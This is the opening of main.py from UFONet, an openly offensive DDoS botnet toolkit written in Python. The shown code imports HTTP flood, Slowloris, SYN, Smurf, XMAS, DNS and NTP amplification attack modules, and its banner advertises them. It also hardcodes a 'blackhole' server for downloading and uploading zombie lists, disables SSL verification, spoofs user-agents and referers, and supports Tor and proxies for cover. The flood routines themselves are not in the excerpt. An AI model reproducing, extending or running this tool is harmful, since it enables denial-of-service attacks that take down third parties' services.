main.py 250 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883388438853886388738883889389038913892389338943895389638973898389939003901390239033904390539063907390839093910391139123913391439153916391739183919392039213922392339243925392639273928392939303931393239333934393539363937393839393940394139423943394439453946394739483949395039513952395339543955395639573958395939603961396239633964396539663967396839693970397139723973397439753976397739783979398039813982398339843985398639873988398939903991399239933994399539963997399839994000400140024003400440054006400740084009401040114012401340144015401640174018401940204021402240234024402540264027402840294030403140324033403440354036403740384039404040414042404340444045404640474048404940504051405240534054405540564057405840594060406140624063406440654066406740684069407040714072407340744075407640774078407940804081408240834084408540864087408840894090409140924093409440954096409740984099410041014102410341044105410641074108410941104111411241134114411541164117411841194120412141224123412441254126412741284129413041314132413341344135413641374138413941404141414241434144414541464147414841494150415141524153415441554156415741584159416041614162416341644165416641674168416941704171417241734174417541764177417841794180418141824183418441854186418741884189419041914192419341944195419641974198419942004201420242034204420542064207420842094210421142124213421442154216421742184219422042214222422342244225422642274228422942304231423242334234423542364237423842394240424142424243424442454246424742484249425042514252425342544255425642574258425942604261426242634264426542664267426842694270427142724273427442754276427742784279428042814282428342844285428642874288428942904291429242934294429542964297429842994300430143024303430443054306430743084309431043114312431343144315431643174318431943204321432243234324432543264327432843294330433143324333433443354336433743384339434043414342434343444345434643474348434943504351435243534354435543564357435843594360436143624363436443654366436743684369437043714372437343744375437643774378437943804381438243834384438543864387438843894390439143924393439443954396439743984399440044014402440344044405440644074408440944104411441244134414441544164417441844194420442144224423442444254426442744284429443044314432443344344435443644374438443944404441444244434444444544464447444844494450445144524453445444554456445744584459446044614462446344644465446644674468446944704471447244734474447544764477447844794480448144824483448444854486448744884489449044914492449344944495449644974498449945004501450245034504450545064507450845094510451145124513451445154516451745184519452045214522452345244525452645274528452945304531453245334534453545364537453845394540454145424543454445454546454745484549455045514552455345544555455645574558455945604561456245634564456545664567456845694570457145724573457445754576457745784579458045814582458345844585458645874588458945904591459245934594459545964597459845994600460146024603460446054606460746084609461046114612461346144615461646174618461946204621462246234624462546264627462846294630463146324633463446354636463746384639464046414642464346444645464646474648464946504651465246534654465546564657465846594660466146624663466446654666466746684669467046714672467346744675467646774678467946804681468246834684468546864687468846894690469146924693469446954696469746984699470047014702470347044705470647074708470947104711471247134714471547164717471847194720472147224723472447254726472747284729473047314732473347344735473647374738473947404741474247434744474547464747474847494750475147524753475447554756475747584759476047614762476347644765476647674768476947704771477247734774477547764777477847794780478147824783478447854786478747884789479047914792479347944795479647974798479948004801480248034804480548064807480848094810481148124813481448154816481748184819482048214822482348244825482648274828482948304831483248334834483548364837483848394840484148424843484448454846484748484849485048514852485348544855485648574858485948604861486248634864486548664867486848694870487148724873487448754876487748784879488048814882488348844885488648874888488948904891489248934894489548964897489848994900490149024903490449054906490749084909491049114912491349144915491649174918491949204921492249234924492549264927492849294930493149324933493449354936493749384939494049414942494349444945494649474948494949504951495249534954495549564957495849594960496149624963496449654966496749684969497049714972497349744975497649774978497949804981498249834984498549864987498849894990499149924993499449954996499749984999500050015002500350045005500650075008500950105011501250135014501550165017501850195020502150225023502450255026
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import os, sys, re, traceback, random, time, threading, base64, string, math
  11. import io, socket, ssl, cgi, json, gzip
  12. try:
  13. from urllib.parse import urlparse as urlparse
  14. except:
  15. from urlparse import urlparse as urlparse
  16. try:
  17. import urllib.request, urllib.error, urllib.parse
  18. except:
  19. print ("\n[Error] UFONet no longer supports Python2: (https://www.python.org/doc/sunset-python-2/)\n\n[Info] [AI] Try to run the tool with Python3.x.y (ex: python3 ufonet)\n")
  20. sys.exit()
  21. from uuid import getnode
  22. from random import randrange, shuffle
  23. from .options import UFONetOptions
  24. from .update import Updater
  25. from .herd import Herd
  26. from .zombie import Zombie
  27. from .doll import Doll
  28. from core.tools.inspector import Inspector
  29. from core.tools.abductor import Abductor
  30. from core.tools.ufoscan import UFOSCAN
  31. from core.mods.loic import LOIC
  32. from core.mods.loris import LORIS
  33. from core.mods.ufosyn import UFOSYN
  34. from core.mods.spray import SPRAY
  35. from core.mods.smurf import SMURF
  36. from core.mods.xmas import XMAS
  37. from core.mods.nuke import NUKE
  38. from core.mods.tachyon import TACHYON
  39. from core.mods.monlist import MONLIST
  40. DEBUG = False # use 'True' for detailed traceback
  41. class UFONet(object):
  42. def __init__(self):
  43. self.exit_msg = 'Donate BTC (Bitcoin) to keep UFONet (https://ufonet.03c8.net) strong!' # set msg show at the end [FILO ;-)]
  44. self.blackhole = '176.28.23.46' # default download/upload zombies [Blackhole] [Server] / Try [DIY] your own [Mirror]...
  45. self.GIT_REPOSITORY = 'https://code.03c8.net/epsylon/ufonet' # oficial code source [OK! 22/12/2018]
  46. self.GIT_REPOSITORY2 = 'https://github.com/epsylon/ufonet' # mirror source [since: 04/06/2018]
  47. self.github_zombies = 'https://raw.githubusercontent.com/epsylon/ufonet/master/botnet/' # default [RAW] download/upload zombies [Blackhole] [GitHub] [DIY]
  48. self.external_check_service1 = 'https://status.ws/' # set external check service 1 [OK! 26/02/2020]
  49. self.external_check_service2 = 'https://downforeveryoneorjustme.com/' # set external check service 2 [OK! 26/02/2020]
  50. self.check_tor_url = 'https://check.torproject.org/' # TOR status checking site
  51. self.check_ip_service1 = 'https://checkip.dyndns.com/' # set external check ip service 1 [OK! 28/02/2019]
  52. self.check_ip_service2 = 'https://whatismyip.org/' # set external check ip service 2 [OK! 28/02/2019]
  53. self.check_ip_service3 = 'https://ip.42.pl/ra' # set external check ip service 3 [OK! 28/02/2019]
  54. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  55. self.motherships_file = 'core/txt/motherships.txt' # set source path to retrieve mothership names
  56. self.zombies_file = 'botnet/zombies.txt' # set source path to retrieve [Zombies]
  57. self.aliens_file = 'botnet/aliens.txt' # set source path to retrieve [Aliens]
  58. self.dnss_file = 'botnet/dns.txt' # set source path to retrieve [DNSs]
  59. self.droids_file = 'botnet/droids.txt' # set source path to retrieve [Droids]
  60. self.ucavs_file = 'botnet/ucavs.txt' # set source path to retrieve 'ucavs'
  61. self.rpcs_file = 'botnet/rpcs.txt' # set source path to retrieve 'rpcs'
  62. self.ntps_file = 'botnet/ntp.txt' # set source path to retrieve [NTPs]
  63. self.humans_file = 'botnet/humans.txt' # set source path to retrieve 'humans'
  64. self.dorks_file = 'botnet/dorks.txt' # set source path to retrieve [Dorks]
  65. self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats
  66. self.timeline_file = 'docs/VERSION' # set source for code releases
  67. self.news_file = "data/news.txt" # set source path to retrieve [Blackhole] [News]
  68. self.missions_file = "data/missions.txt" # set source path to retrieve [Blackhole] [Missions]
  69. self.board_file = "data/board.txt" # set source path to retrieve [Blackhole] [Board]
  70. self.grid_file = "data/grid.txt" # set source path to retrieve [Blackhole] [Grid]
  71. self.wargames_file = "data/wargames.txt" # set source path to retrieve [Blackhole] [Wargames]
  72. self.examples_file = "docs/examples.txt" # set source path to retrieve [Examples]
  73. self.misc_file = "core/txt/misc.txt" # set source path to retrieve [Miscellania] cites
  74. self.referer = '' # black magic
  75. self.port = "8080" # default injection port
  76. self.mothershipname = "core/txt/shipname.txt"
  77. self.mothership_baptism() # generating static name/id for your mothership ;-)
  78. self.head = False
  79. self.payload = False
  80. self.external = False
  81. self.attack_mode = False
  82. self.connection_failed = False
  83. self.total_possible_zombies = 0
  84. self.herd = Herd(self)
  85. self.sem = False
  86. self.db_flash = 0 # db stress counter
  87. self.total_aliens = 0
  88. self.aliens_hit = 0
  89. self.aliens_fail = 0
  90. self.total_droids = 0
  91. self.droids_hit = 0
  92. self.droids_fail = 0
  93. self.total_ucavs = 0
  94. self.ucavs_hit = 0
  95. self.ucavs_fail = 0
  96. self.total_rpcs = 0
  97. self.rpcs_hit = 0
  98. self.rpcs_fail = 0
  99. self.total_loic = 0
  100. self.total_loris = 0
  101. self.total_syn = 0
  102. self.total_spray = 0
  103. self.total_smurf = 0
  104. self.total_xmas = 0
  105. self.total_nuke = 0
  106. self.total_tachyon = 0
  107. self.total_monlist = 0
  108. self.total_zombies_failed_connection = 0
  109. self.ctx = ssl.create_default_context() # creating context to bypass SSL cert validation (black magic)
  110. self.ctx.check_hostname = False
  111. self.ctx.verify_mode = ssl.CERT_NONE
  112. self.nat_error_flag = "OFF"
  113. self.trans_zombies = 0
  114. self.scanned_zombies = 0
  115. self.loadcheck_counter = 0
  116. self.loadcheck_prev_size = None
  117. self.loadcheck_prev_load = None
  118. self.loadcheck_first_size = None
  119. self.loadcheck_first_load = None
  120. self.loadcheck_size_list = []
  121. self.loadcheck_load_list = []
  122. self.loadcheck_size_median = None
  123. self.loadcheck_size_max = None
  124. self.loadcheck_size_min = None
  125. self.loadcheck_load_median = None
  126. self.loadcheck_size_max = None
  127. self.loadcheck_size_min = None
  128. self.num_is_up = 0 # counter for [UCAVs] 'up' reports
  129. self.num_is_down = 0 # counter for [UCAVs] 'down' reports
  130. self.expire_timing = 30 # default expiring time per round
  131. self.extra_zombies_lock = False # used to lock threading flow when [ARMY] is required
  132. self.ac_control = [] # used by 'herd.py' to lock threading flow when [Zombies] are returning
  133. def mothership_baptism(self):
  134. if os.path.exists(self.mothershipname) == True:
  135. f = open(self.mothershipname)
  136. self.mothership_id = f.read()
  137. f.close()
  138. else:
  139. self.mothership_ids = []
  140. f = open(self.motherships_file)
  141. motherships = f.readlines()
  142. f.close()
  143. for ship in motherships:
  144. ship = ship.encode("utf-8")
  145. self.mothership_ids.append(base64.urlsafe_b64encode(ship))
  146. try:
  147. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'utf-8')
  148. except:
  149. try:
  150. self.mothership_id = str(base64.b64decode(random.choice(self.mothership_ids).strip()), 'latin-1')+"\n" # id (hack&slash!) creation ;-)
  151. except:
  152. self.mothership_id = "l4m3r-lulz/0\n" # motherhip naming anti-cheating!
  153. m = open(self.mothershipname, "w") # write mothership name to a static file as a baptism
  154. m.write(str(self.mothership_id.upper()))
  155. m.close()
  156. def create_options(self, args=None):
  157. self.optionParser = UFONetOptions()
  158. self.options = self.optionParser.get_options(args)
  159. if not self.options:
  160. return False
  161. return self.options
  162. def banner_welcome(self):
  163. print("")
  164. print(" 0=============================================0")
  165. print(" || ||")
  166. print(" || || || * Botnet -> [DDoS]: ||")
  167. print(" -(00)- -(00)- || /Zombies : HTTP GET bots ||")
  168. print(" || (00) || || /Droids : HTTP GET (+params) bots ||")
  169. print(" (O)_ (O) 0'----'0 (O) _(O) || /Aliens : HTTP POST bots ||")
  170. print(" | |.''.( xx ).''.| | || /UCAVs : Web Abusing bots ||")
  171. print(" .'.' X|'..'|X '.'. || /X-RPCs : XML-RPC bots ||")
  172. print(" .-. .' /'--.__|_00_|__.--'\ '. .-. || /DBSTRESS: HTTP DB attack ||")
  173. print(" (O).)-|0| \ x| ## |x / |0|-(.(O) || /SPRAY : TCP-SYN reflector ||")
  174. print(" `-' '-'-._'-./ -00- \.-'_.-'-' `-' || /SMURF : ICMP echo flooder ||")
  175. print(" _ | || '-.___||___.-' || | _ || /TACHYON : DNS amplificator ||")
  176. print(" .' _ | ||==O | __ | O==|| | _ '. || /MONLIST : NTP amplificator ||")
  177. print(" / .' ''.| || | /_00_\ | || |.'' '. \ || ||")
  178. print(" | '### | =| | ###### | |= |' ### | || * Close Combat -> [DoS]: ||")
  179. print(" | |(0)| '. 0\||__**_ ||/0 .' |(0)| | || /LOIC : Fast HTTP requests ||")
  180. print(" \ '._.' '. | \_##_/ | .' '._.' / || /LORIS : Slow HTTP requests ||")
  181. print(" '.__ ____0_'.|__'--'__|.'_0____ __.' || /UFOSYN : TCP-SYN flooder ||")
  182. print(" .'_.-| |-._'. || /XMAS : TCP-XMAS flooder ||")
  183. print(" || /NUKE : TCP-STARVATION attack ||")
  184. print(" + Class: UFONet / ViPR404+ (model G) + || ||")
  185. print(" 0|===========================================|0")
  186. print("")
  187. def banner(self):
  188. print('='*75, "\n")
  189. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  190. print("888 888 888 d88P Y888b 8888b 888 888 ")
  191. print("888 888 888 888 888 88888b 888 888 ")
  192. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  193. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  194. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  195. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  196. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  197. print(self.optionParser.description, "\n")
  198. print('='*75)
  199. def generate_exit_msg(self):
  200. f = open(self.misc_file)
  201. m = f.readlines()
  202. f.close()
  203. self.exit_msg = "Generating random exit... \n\n"
  204. self.exit_msg += " -> "+str(random.choice(m).strip())
  205. def AI(self):
  206. try:
  207. import turtle as AI
  208. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  209. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  210. bg = random.choice(colors).strip()
  211. t = AI.Pen()
  212. AI.bgcolor(bg)
  213. r = random.randrange(100,100000)
  214. for x in range(r):
  215. t.pencolor(colors[x%6])
  216. w = random.randrange(100,1000)
  217. t.width(x/w + 1)
  218. t.forward(x)
  219. l = random.randrange(50,1000)
  220. t.left(l)
  221. except:
  222. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  223. pass
  224. def round_float(self, num):
  225. return str(int(round(num, -1)))[2] # black magic
  226. def show_mac_address(self):
  227. mac = getnode() # to get physical address
  228. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  229. return hex_mac
  230. def show_ips(self):
  231. import requests
  232. try:
  233. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  234. s.connect(("8.8.8.8", 80))
  235. private_ip = s.getsockname()[0] # black magic
  236. s.close()
  237. except:
  238. private_ip = "Unknown"
  239. try:
  240. public_ip = requests.get(self.check_ip_service3).text
  241. except:
  242. try:
  243. public_ip = requests.get(self.check_ip_service2).text
  244. except:
  245. try:
  246. public_ip = requests.get(self.check_ip_service1).text
  247. except:
  248. public_ip = "Unknown"
  249. return private_ip, public_ip
  250. def try_running(self, func, error, args=None):
  251. options = self.options
  252. args = args or []
  253. try:
  254. return func(*args)
  255. except Exception as e:
  256. if DEBUG == True:
  257. print(error, "error")
  258. traceback.print_exc()
  259. def checkeuid(self):
  260. try:
  261. euid = os.geteuid()
  262. except:
  263. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  264. print("[AI] "+self.exit_msg+"\n")
  265. sys.exit(2) # return
  266. return euid
  267. def start_ship_engine(self):
  268. self.agents = [] # generating available user-agents
  269. f = open(self.agents_file)
  270. agents = f.readlines()
  271. f.close()
  272. for agent in agents:
  273. self.agents.append(agent)
  274. self.user_agent = random.choice(self.agents).strip()
  275. self.search_engines = [] # available dorking search engines
  276. self.search_engines.append('bing') # [01/02/2020: OK!]
  277. self.search_engines.append('yahoo') # [01/02/2020: OK!]
  278. self.search_engines.append('duck') # [01/02/2020: OK!]
  279. #self.search_engines.append('startpage') # [01/02/2020: deprecated! -> blocking instream params search]
  280. #self.search_engines.append('yandex') # [03/02/2018: deprecated! -> captchasound]
  281. #self.search_engines.append('google') # [09/08/2016: modified -> not working from TOR]
  282. if not os.path.exists("core/json/"): # create gui json cfg files folder
  283. os.mkdir("core/json/")
  284. self.banner_welcome()
  285. self.update_flying_stats() # update flying time stats
  286. chargo = self.check_mothership_chargo() # check mothership chargo
  287. self.update_max_chargo(int(chargo)) # update max chargo stats
  288. self.generate_exit_msg() # generate random exit msg
  289. def run(self, opts=None):
  290. if opts:
  291. self.create_options(opts)
  292. options = self.options
  293. # start threads
  294. if not self.options.threads:
  295. self.options.threads=5 # default number of threads
  296. self.sem = threading.Semaphore(self.options.threads)
  297. # start ship engine
  298. self.start_ship_engine()
  299. # check proxy options
  300. proxy = options.proxy
  301. if options.proxy:
  302. try:
  303. pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  304. m = re.search(pattern, proxy)
  305. if m is None:
  306. self.banner()
  307. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  308. return
  309. else:
  310. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  311. except Exception:
  312. self.banner()
  313. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  314. return
  315. # check tor connection
  316. if options.checktor:
  317. url = self.check_tor_url # TOR status checking site
  318. self.banner()
  319. print("\nSending request to: " + url + "\n")
  320. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  321. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  322. try:
  323. if options.proxy: # set proxy
  324. self.proxy_transport(options.proxy)
  325. req = urllib.request.Request(url, None, headers)
  326. tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  327. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  328. if not tor_reply or 'Congratulations' not in tor_reply:
  329. print("It seems that Tor is not properly set.\n")
  330. print(("IP address appears to be: " + your_ip + "\n"))
  331. else:
  332. print("Congratulations!. Tor is properly being used :-)\n")
  333. print(("IP address appears to be: " + your_ip + "\n"))
  334. except:
  335. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  336. sys.exit(2) # return
  337. # run AES256+HMAC-SHA1 enc/dec tool
  338. if options.cryptomsg:
  339. from core.tools.crypter import Cipher
  340. print(" " + '='*44)
  341. print(" ")
  342. print(" ____...------------...____ ")
  343. print(" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
  344. print(" .' / / \ \ '. ")
  345. print(" |=====/o/======================\o\=====| ")
  346. print(" |____/_/________..____..________\_\____| ")
  347. print(" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
  348. print(" \__/_____\####/0213411543/####/_____\__/ ")
  349. print(" |===\!/========================\!/===| ")
  350. print(" | |=| .---. |=| | ")
  351. print(" |===|o|=========/ \========|o|===| ")
  352. print(" | | | \() ()/ | | | ")
  353. print(" |===|o|======{'-.) A (.-'}=====|o|===| ")
  354. print(" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
  355. print(" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
  356. print(" | _\o/ __ {.' __ '.} _ _\o/ _| ")
  357. print(" '''''''''''''''''''''''''''''''''''''' ")
  358. print("\n + UFONet Crypter (AES256+HMAC-SHA1)")
  359. print(" (140 plain text chars = 69 encrypted chars)\n")
  360. print(" " + '='*44 + "\n")
  361. text = str(input("-> Enter TEXT: "))
  362. input_key = str(input("\n-> Enter KEY: "))
  363. key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
  364. c = Cipher(key, text)
  365. msg = c.encrypt()
  366. msg = msg.decode('utf-8')
  367. c.set_text(msg)
  368. print("\n" + " " + '-'*44)
  369. print('\n-> Ciphertext: [', msg, ']')
  370. print('\n-> Length:', len(msg))
  371. print("\n" + " " + '-'*44)
  372. print('\n-> Key (share it using SNEAKNET!):', input_key)
  373. print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
  374. # run shownet tool
  375. if options.shownet:
  376. hex_mac = self.show_mac_address()
  377. self.banner()
  378. print("-> Network Info:")
  379. print('='*44)
  380. print("-"*35)
  381. print("|- MAC Address :", hex_mac)
  382. print("|" +"-"*34)
  383. private_ip, public_ip = self.show_ips()
  384. print("|- IP Private :", private_ip)
  385. print("|" +"-"*34)
  386. t = urlparse(self.check_ip_service3)
  387. name_service = t.netloc
  388. print("|- IP Public :", public_ip +" | ["+name_service+"]")
